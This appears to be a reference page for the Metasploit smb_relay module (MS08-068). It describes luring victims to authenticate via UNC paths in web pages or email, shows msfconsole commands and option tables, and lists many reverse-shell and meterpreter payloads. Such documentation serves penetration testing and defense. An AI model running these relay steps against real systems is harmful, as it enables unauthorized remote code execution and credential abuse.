MS08-068 Microsoft Windows SMB Relay Code Execution - Metasploit
This page contains detailed information about how to use the exploit/windows/smb/smb_relay metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: MS08-068 Microsoft Windows SMB Relay Code Execution
Module: exploit/windows/smb/smb_relay
Source code: modules/exploits/windows/smb/smb_relay.rb
Disclosure date: 2001-03-31
Last modification time: 2021-03-24 17:36:50 +0000
Supported architecture(s): x86, x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2008-4037
This module will relay SMB authentication requests to another host, gaining access to an authenticated SMB session if successful. If the connecting user is an administrator and network logins are allowed to the target machine, this module will execute an arbitrary payload. To exploit this, the target system must try to authenticate to this module. The easiest way to force a SMB authentication attempt is by embedding a UNC path (\SERVER\SHARE) into a web page or email message. When the victim views the web page or email, their system will automatically connect to the server specified in the UNC share (the IP address of the system running this module) and attempt to authenticate. Unfortunately, this module is not able to clean up after itself. The service and payload file listed in the output will need to be manually removed after access has been gained. The service created by this tool uses a randomly chosen name and description, so the services list can become cluttered after repeated exploitation. The SMB authentication relay attack was first reported by Sir Dystic on March 31st, 2001 at @lanta.con in Atlanta, Georgia. On November 11th 2008 Microsoft released bulletin MS08-068. This bulletin includes a patch which prevents the relaying of challenge keys back to the host which issued them, preventing this exploit from working in the default configuration. It is still possible to set the SMBHOST parameter to a third-party host that the victim is authorized to access, but the "reflection" attack has been effectively broken.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/windows/smb/smb_relay
msf exploit(smb_relay) > show targets
... a list of targets ...
msf exploit(smb_relay) > set TARGET target-id
msf exploit(smb_relay) > show options
... show and set options ...
msf exploit(smb_relay) > exploit
Go back to menu.
Msfconsole Usage
Here is how the windows/smb/smb_relay exploit module looks in the msfconsole:
msf6 > use exploit/windows/smb/smb_relay
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/smb_relay) > show info
Name: MS08-068 Microsoft Windows SMB Relay Code Execution
Module: exploit/windows/smb/smb_relay
Platform: Windows
Arch: x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2001-03-31
Provided by:
hdm <[email protected]>
juan vazquez <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SHARE ADMIN$ yes The share to connect to
SMBHOST no The target SMB server (leave empty for originating system)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 445 yes The local port to listen on.
Payload information:
Space: 2048
Description:
This module will relay SMB authentication requests to another host,
gaining access to an authenticated SMB session if successful. If the
connecting user is an administrator and network logins are allowed
to the target machine, this module will execute an arbitrary
payload. To exploit this, the target system must try to authenticate
to this module. The easiest way to force a SMB authentication
attempt is by embedding a UNC path (\\SERVER\SHARE) into a web page
or email message. When the victim views the web page or email, their
system will automatically connect to the server specified in the UNC
share (the IP address of the system running this module) and attempt
to authenticate. Unfortunately, this module is not able to clean up
after itself. The service and payload file listed in the output will
need to be manually removed after access has been gained. The
service created by this tool uses a randomly chosen name and
description, so the services list can become cluttered after
repeated exploitation. The SMB authentication relay attack was first
reported by Sir Dystic on March 31st, 2001 at @lanta.con in Atlanta,
Georgia. On November 11th 2008 Microsoft released bulletin MS08-068.
This bulletin includes a patch which prevents the relaying of
challenge keys back to the host which issued them, preventing this
exploit from working in the default configuration. It is still
possible to set the SMBHOST parameter to a third-party host that the
victim is authorized to access, but the "reflection" attack has been
effectively broken.
References:
https://nvd.nist.gov/vuln/detail/CVE-2008-4037
OSVDB (49736)
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2008/MS08-068
http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx
http://en.wikipedia.org/wiki/SMBRelay
http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
Module Options
This is a complete list of options available in the windows/smb/smb_relay exploit:
msf6 exploit(windows/smb/smb_relay) > show options
Module options (exploit/windows/smb/smb_relay):
Name Current Setting Required Description
---- --------------- -------- -----------
SHARE ADMIN$ yes The share to connect to
SMBHOST no The target SMB server (leave empty for originating system)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 445 yes The local port to listen on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the windows/smb/smb_relay exploit:
msf6 exploit(windows/smb/smb_relay) > show advanced
Module advanced options (exploit/windows/smb/smb_relay):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SMBServerIdleTimeout 120 yes The maximum amount of time to keep an idle session open in seconds
SMBServerMaximumBuffer 2 yes The maximum number of data in megabytes to buffer
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadBindPort no Port to bind reverse tcp socket to on target system.
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/smb/smb_relay module can exploit:
msf6 exploit(windows/smb/smb_relay) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/smb/smb_relay exploit:
msf6 exploit(windows/smb/smb_relay) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/windows/adduser normal No Windows Execute net user /ADD
6 payload/windows/dllinject/bind_hidden_ipknock_tcp normal No Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
7 payload/windows/dllinject/bind_hidden_tcp normal No Reflective DLL Injection, Hidden Bind TCP Stager
8 payload/windows/dllinject/bind_ipv6_tcp normal No Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
9 payload/windows/dllinject/bind_ipv6_tcp_uuid normal No Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
10 payload/windows/dllinject/bind_named_pipe normal No Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
11 payload/windows/dllinject/bind_nonx_tcp normal No Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
12 payload/windows/dllinject/bind_tcp normal No Reflective DLL Injection, Bind TCP Stager (Windows x86)
13 payload/windows/dllinject/bind_tcp_rc4 normal No Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
14 payload/windows/dllinject/bind_tcp_uuid normal No Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
15 payload/windows/dllinject/reverse_hop_http normal No Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
16 payload/windows/dllinject/reverse_http normal No Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
17 payload/windows/dllinject/reverse_http_proxy_pstore normal No Reflective DLL Injection, Reverse HTTP Stager Proxy
18 payload/windows/dllinject/reverse_ipv6_tcp normal No Reflective DLL Injection, Reverse TCP Stager (IPv6)
19 payload/windows/dllinject/reverse_nonx_tcp normal No Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
20 payload/windows/dllinject/reverse_ord_tcp normal No Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
21 payload/windows/dllinject/reverse_tcp normal No Reflective DLL Injection, Reverse TCP Stager
22 payload/windows/dllinject/reverse_tcp_allports normal No Reflective DLL Injection, Reverse All-Port TCP Stager
23 payload/windows/dllinject/reverse_tcp_dns normal No Reflective DLL Injection, Reverse TCP Stager (DNS)
24 payload/windows/dllinject/reverse_tcp_rc4 normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
25 payload/windows/dllinject/reverse_tcp_rc4_dns normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
26 payload/windows/dllinject/reverse_tcp_uuid normal No Reflective DLL Injection, Reverse TCP Stager with UUID Support
27 payload/windows/dllinject/reverse_winhttp normal No Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
28 payload/windows/dns_txt_query_exec normal No DNS TXT Record Payload Download and Execution
29 payload/windows/download_exec normal No Windows Executable Download (http,https,ftp) and Execute
30 payload/windows/exec normal No Windows Execute Command
31 payload/windows/format_all_drives manual No Windows Drive Formatter
32 payload/windows/loadlibrary normal No Windows LoadLibrary Path
33 payload/windows/messagebox normal No Windows MessageBox
34 payload/windows/meterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
35 payload/windows/meterpreter/bind_hidden_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
36 payload/windows/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
37 payload/windows/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
38 payload/windows/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
39 payload/windows/meterpreter/bind_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
40 payload/windows/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
41 payload/windows/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
42 payload/windows/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
43 payload/windows/meterpreter/reverse_hop_http normal No Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
44 payload/windows/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
45 payload/windows/meterpreter/reverse_http_proxy_pstore normal No Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
46 payload/windows/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
47 payload/windows/meterpreter/reverse_https_proxy normal No Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
48 payload/windows/meterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
49 payload/windows/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
50 payload/windows/meterpreter/reverse_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
51 payload/windows/meterpreter/reverse_ord_tcp normal No Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
52 payload/windows/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager
53 payload/windows/meterpreter/reverse_tcp_allports normal No Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
54 payload/windows/meterpreter/reverse_tcp_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
55 payload/windows/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
56 payload/windows/meterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
57 payload/windows/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
58 payload/windows/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
59 payload/windows/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
60 payload/windows/metsvc_bind_tcp normal No Windows Meterpreter Service, Bind TCP
61 payload/windows/metsvc_reverse_tcp normal No Windows Meterpreter Service, Reverse TCP Inline
62 payload/windows/patchupdllinject/bind_hidden_ipknock_tcp normal No Windows Inject DLL, Hidden Bind Ipknock TCP Stager
63 payload/windows/patchupdllinject/bind_hidden_tcp normal No Windows Inject DLL, Hidden Bind TCP Stager
64 payload/windows/patchupdllinject/bind_ipv6_tcp normal No Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
65 payload/windows/patchupdllinject/bind_ipv6_tcp_uuid normal No Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
66 payload/windows/patchupdllinject/bind_named_pipe normal No Windows Inject DLL, Windows x86 Bind Named Pipe Stager
67 payload/windows/patchupdllinject/bind_nonx_tcp normal No Windows Inject DLL, Bind TCP Stager (No NX or Win7)
68 payload/windows/patchupdllinject/bind_tcp normal No Windows Inject DLL, Bind TCP Stager (Windows x86)
69 payload/windows/patchupdllinject/bind_tcp_rc4 normal No Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
70 payload/windows/patchupdllinject/bind_tcp_uuid normal No Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
71 payload/windows/patchupdllinject/reverse_ipv6_tcp normal No Windows Inject DLL, Reverse TCP Stager (IPv6)
72 payload/windows/patchupdllinject/reverse_nonx_tcp normal No Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
73 payload/windows/patchupdllinject/reverse_ord_tcp normal No Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
74 payload/windows/patchupdllinject/reverse_tcp normal No Windows Inject DLL, Reverse TCP Stager
75 payload/windows/patchupdllinject/reverse_tcp_allports normal No Windows Inject DLL, Reverse All-Port TCP Stager
76 payload/windows/patchupdllinject/reverse_tcp_dns normal No Windows Inject DLL, Reverse TCP Stager (DNS)
77 payload/windows/patchupdllinject/reverse_tcp_rc4 normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
78 payload/windows/patchupdllinject/reverse_tcp_rc4_dns normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
79 payload/windows/patchupdllinject/reverse_tcp_uuid normal No Windows Inject DLL, Reverse TCP Stager with UUID Support
80 payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
81 payload/windows/patchupmeterpreter/bind_hidden_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
82 payload/windows/patchupmeterpreter/bind_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
83 payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
84 payload/windows/patchupmeterpreter/bind_named_pipe normal No Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
85 payload/windows/patchupmeterpreter/bind_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
86 payload/windows/patchupmeterpreter/bind_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
87 payload/windows/patchupmeterpreter/bind_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
88 payload/windows/patchupmeterpreter/bind_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
89 payload/windows/patchupmeterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
90 payload/windows/patchupmeterpreter/reverse_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
91 payload/windows/patchupmeterpreter/reverse_ord_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
92 payload/windows/patchupmeterpreter/reverse_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
93 payload/windows/patchupmeterpreter/reverse_tcp_allports normal No Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
94 payload/windows/patchupmeterpreter/reverse_tcp_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
95 payload/windows/patchupmeterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
96 payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
97 payload/windows/patchupmeterpreter/reverse_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
98 payload/windows/peinject/bind_hidden_ipknock_tcp normal No Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
99 payload/windows/peinject/bind_hidden_tcp normal No Windows Inject PE Files, Hidden Bind TCP Stager
100 payload/windows/peinject/bind_ipv6_tcp normal No Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
101 payload/windows/peinject/bind_ipv6_tcp_uuid normal No Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
102 payload/windows/peinject/bind_named_pipe normal No Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
103 payload/windows/peinject/bind_nonx_tcp normal No Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
104 payload/windows/peinject/bind_tcp normal No Windows Inject PE Files, Bind TCP Stager (Windows x86)
105 payload/windows/peinject/bind_tcp_rc4 normal No Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
106 payload/windows/peinject/bind_tcp_uuid normal No Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
107 payload/windows/peinject/reverse_ipv6_tcp normal No Windows Inject PE Files, Reverse TCP Stager (IPv6)
108 payload/windows/peinject/reverse_named_pipe normal No Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
109 payload/windows/peinject/reverse_nonx_tcp normal No Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
110 payload/windows/peinject/reverse_ord_tcp normal No Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
111 payload/windows/peinject/reverse_tcp normal No Windows Inject PE Files, Reverse TCP Stager
112 payload/windows/peinject/reverse_tcp_allports normal No Windows Inject PE Files, Reverse All-Port TCP Stager
113 payload/windows/peinject/reverse_tcp_dns normal No Windows Inject PE Files, Reverse TCP Stager (DNS)
114 payload/windows/peinject/reverse_tcp_rc4 normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
115 payload/windows/peinject/reverse_tcp_rc4_dns normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
116 payload/windows/peinject/reverse_tcp_uuid normal No Windows Inject PE Files, Reverse TCP Stager with UUID Support
117 payload/windows/pingback_bind_tcp normal No Windows x86 Pingback, Bind TCP Inline
118 payload/windows/pingback_reverse_tcp normal No Windows x86 Pingback, Reverse TCP Inline
119 payload/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
120 payload/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
121 payload/windows/shell/bind_hidden_ipknock_tcp normal No Windows Command Shell, Hidden Bind Ipknock TCP Stager
122 payload/windows/shell/bind_hidden_tcp normal No Windows Command Shell, Hidden Bind TCP Stager
123 payload/windows/shell/bind_ipv6_tcp normal No Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
124 payload/windows/shell/bind_ipv6_tcp_uuid normal No Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
125 payload/windows/shell/bind_named_pipe normal No Windows Command Shell, Windows x86 Bind Named Pipe Stager
126 payload/windows/shell/bind_nonx_tcp normal No Windows Command Shell, Bind TCP Stager (No NX or Win7)
127 payload/windows/shell/bind_tcp normal No Windows Command Shell, Bind TCP Stager (Windows x86)
128 payload/windows/shell/bind_tcp_rc4 normal No Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
129 payload/windows/shell/bind_tcp_uuid normal No Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
130 payload/windows/shell/reverse_ipv6_tcp normal No Windows Command Shell, Reverse TCP Stager (IPv6)
131 payload/windows/shell/reverse_nonx_tcp normal No Windows Command Shell, Reverse TCP Stager (No NX or Win7)
132 payload/windows/shell/reverse_ord_tcp normal No Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
133 payload/windows/shell/reverse_tcp normal No Windows Command Shell, Reverse TCP Stager
134 payload/windows/shell/reverse_tcp_allports normal No Windows Command Shell, Reverse All-Port TCP Stager
135 payload/windows/shell/reverse_tcp_dns normal No Windows Command Shell, Reverse TCP Stager (DNS)
136 payload/windows/shell/reverse_tcp_rc4 normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
137 payload/windows/shell/reverse_tcp_rc4_dns normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
138 payload/windows/shell/reverse_tcp_uuid normal No Windows Command Shell, Reverse TCP Stager with UUID Support
139 payload/windows/shell/reverse_udp normal No Windows Command Shell, Reverse UDP Stager with UUID Support
140 payload/windows/shell_bind_tcp normal No Windows Command Shell, Bind TCP Inline
141 payload/windows/shell_bind_tcp_xpfw normal No Windows Disable Windows ICF, Command Shell, Bind TCP Inline
142 payload/windows/shell_hidden_bind_tcp normal No Windows Command Shell, Hidden Bind TCP Inline
143 payload/windows/shell_reverse_tcp normal No Windows Command Shell, Reverse TCP Inline
144 payload/windows/speak_pwned normal No Windows Speech API - Say "You Got Pwned!"
145 payload/windows/upexec/bind_hidden_ipknock_tcp normal No Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
146 payload/windows/upexec/bind_hidden_tcp normal No Windows Upload/Execute, Hidden Bind TCP Stager
147 payload/windows/upexec/bind_ipv6_tcp normal No Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
148 payload/windows/upexec/bind_ipv6_tcp_uuid normal No Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
149 payload/windows/upexec/bind_named_pipe normal No Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
150 payload/windows/upexec/bind_nonx_tcp normal No Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
151 payload/windows/upexec/bind_tcp normal No Windows Upload/Execute, Bind TCP Stager (Windows x86)
152 payload/windows/upexec/bind_tcp_rc4 normal No Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
153 payload/windows/upexec/bind_tcp_uuid normal No Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
154 payload/windows/upexec/reverse_ipv6_tcp normal No Windows Upload/Execute, Reverse TCP Stager (IPv6)
155 payload/windows/upexec/reverse_nonx_tcp normal No Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
156 payload/windows/upexec/reverse_ord_tcp normal No Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
157 payload/windows/upexec/reverse_tcp normal No Windows Upload/Execute, Reverse TCP Stager
158 payload/windows/upexec/reverse_tcp_allports normal No Windows Upload/Execute, Reverse All-Port TCP Stager
159 payload/windows/upexec/reverse_tcp_dns normal No Windows Upload/Execute, Reverse TCP Stager (DNS)
160 payload/windows/upexec/reverse_tcp_rc4 normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
161 payload/windows/upexec/reverse_tcp_rc4_dns normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
162 payload/windows/upexec/reverse_tcp_uuid normal No Windows Upload/Execute, Reverse TCP Stager with UUID Support
163 payload/windows/upexec/reverse_udp normal No Windows Upload/Execute, Reverse UDP Stager with UUID Support
164 payload/windows/vncinject/bind_hidden_ipknock_tcp normal No VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
165 payload/windows/vncinject/bind_hidden_tcp normal No VNC Server (Reflective Injection), Hidden Bind TCP Stager
166 payload/windows/vncinject/bind_ipv6_tcp normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
167 payload/windows/vncinject/bind_ipv6_tcp_uuid normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
168 payload/windows/vncinject/bind_named_pipe normal No VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
169 payload/windows/vncinject/bind_nonx_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
170 payload/windows/vncinject/bind_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
171 payload/windows/vncinject/bind_tcp_rc4 normal No VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
172 payload/windows/vncinject/bind_tcp_uuid normal No VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
173 payload/windows/vncinject/reverse_hop_http normal No VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
174 payload/windows/vncinject/reverse_http normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
175 payload/windows/vncinject/reverse_http_proxy_pstore normal No VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
176 payload/windows/vncinject/reverse_ipv6_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
177 payload/windows/vncinject/reverse_nonx_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
178 payload/windows/vncinject/reverse_ord_tcp normal No VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
179 payload/windows/vncinject/reverse_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager
180 payload/windows/vncinject/reverse_tcp_allports normal No VNC Server (Reflective Injection), Reverse All-Port TCP Stager
181 payload/windows/vncinject/reverse_tcp_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
182 payload/windows/vncinject/reverse_tcp_rc4 normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
